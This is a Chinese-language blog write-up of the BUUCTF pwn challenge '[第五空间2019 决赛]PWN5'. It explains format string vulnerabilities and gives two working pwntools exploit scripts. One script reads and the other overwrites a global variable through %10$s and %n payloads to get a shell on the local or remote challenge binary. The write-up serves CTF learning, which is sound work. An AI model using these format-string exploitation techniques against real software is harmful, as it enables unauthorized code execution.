buuctf-pwn-[第五空间2019 决赛]PWN5

题目地址:https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5

先检查一下保护情况

再拖进ida里分析

找到一个格式化字符串漏洞,那么我们可以利用这个漏洞去获取或者改写dword_804C044的值
从而进入if语句中,拿到shell

什么是格式化字符串漏洞

所谓格式化字符串漏洞,就是我们能控制格式化字符串函数的格式化字符串,从而实现在任意地址读数据、写数据

格式化字符串函数有:

函数 作用
printf 发送格式化输出到标准输出 stdout
fprintf 发送格式化输出到流 stream 中
vprintf 使用参数列表发送格式化输出到标准输出stdout
sprintf 发送格式化输出到 str 所指向的字符串
snprintf 与sprintf相同,但会限制输出的字符数,避免缓冲区溢出
vsprintf 使用参数列表发送格式化输出到字符串
... ...
正常的printf是这样的
char buf[100];
scanf("%s",buf);
printf("%s",buf)
有格式化字符串漏洞的printf
char buf[100];
scanf("%s",buf);
printf(buf)
下面的代码段让用户控制了格式化字符串函数的格式化参数 也就产生了漏洞 不少程序员可能就无意的写出这样的代码

格式化字符串任意地址读取数据

首先输入 AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p ,后面是若干个%p,然后我们从打印的数据中找0x41414141(AAAA)

发现0x41414141位于第十个位置,这就是buf字符数组的位置,后面是我们输入的0x70257025(%p%p)

printf的第一个参数是我们输入的格式化字符串,printf不会检查后面是不是printf的参数,只会根据printf的第一个参数中的格式化操作符(%p等),依次后面找地址,并将地址上的值按照格式输出,%n$p表示往后面找第10个,也就是printf的第11个参数,所以我们可以直接用 %10$p 来代替10个 %p ,即可直接输出0x41414141

后面我们就可以尝试修改AAAA的值为dword_804C044的地址,修改 %10$p%10$s
我们用pwntools辅助我们进行操作

读取dword_804C044的值解法
from pwn import *

#context.log_level= 'debug'
p = process("./pwn")

bss_addr = 0x804c044
payload = p32(bss_addr)+b'%10$s'

p.sendline(payload)

p.recvuntil(b"Hello,")
num = u32(p.recv()[4:8]) #当接收到'hello,'之后,后面四个字节为p32(bss_addr),之后就是bss_addr处的值,因为是int,所以读取四个字节
p.sendline(str(num).encode())
p.interactive()

这样就可以拿到shell了
下面我们介绍另一种方法

格式化字符串任意地址写数据

写数据主要靠%n这个不常用的符号,%n不输出字符,而是把已经输出的字符数写到该地址处

我们将 %10$s 换成 %10$n,就可以在bss_addr处写数值了
因为bss_addr处的值为int类型,所以我们要连续覆盖四个字节,复制四份,记得改一下%n中间偏移的量
p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'
改之后前四个地址占据了printf函数第10、11、12、13个参数,所以相应的使用 %10$n%11$n%12$n%13$n

修改dword_804C044的值解法
from pwn import *

context.log_level="debug"

#p = process("./pwn")
p = remote("node5.buuoj.cn",27945)

bss_addr = 0x804c044

payload = p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)+b'%10$n'+b'%11$n'+b'%12$n'+b'%13$n'

p.sendline(payload)

p.recvuntil(b"passwd:")
p.sendline(str(0x10101010))#我们输出了432位的地址,每个地址4字节,共16字节,也就是0x10(十六进制)
                           #将int型变量每个字节变成了0x10,所以我们将0x10101010转成十进制字符串发送,即可成功匹配

p.interactive()

posted @   zzkkk1h  阅读(218)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示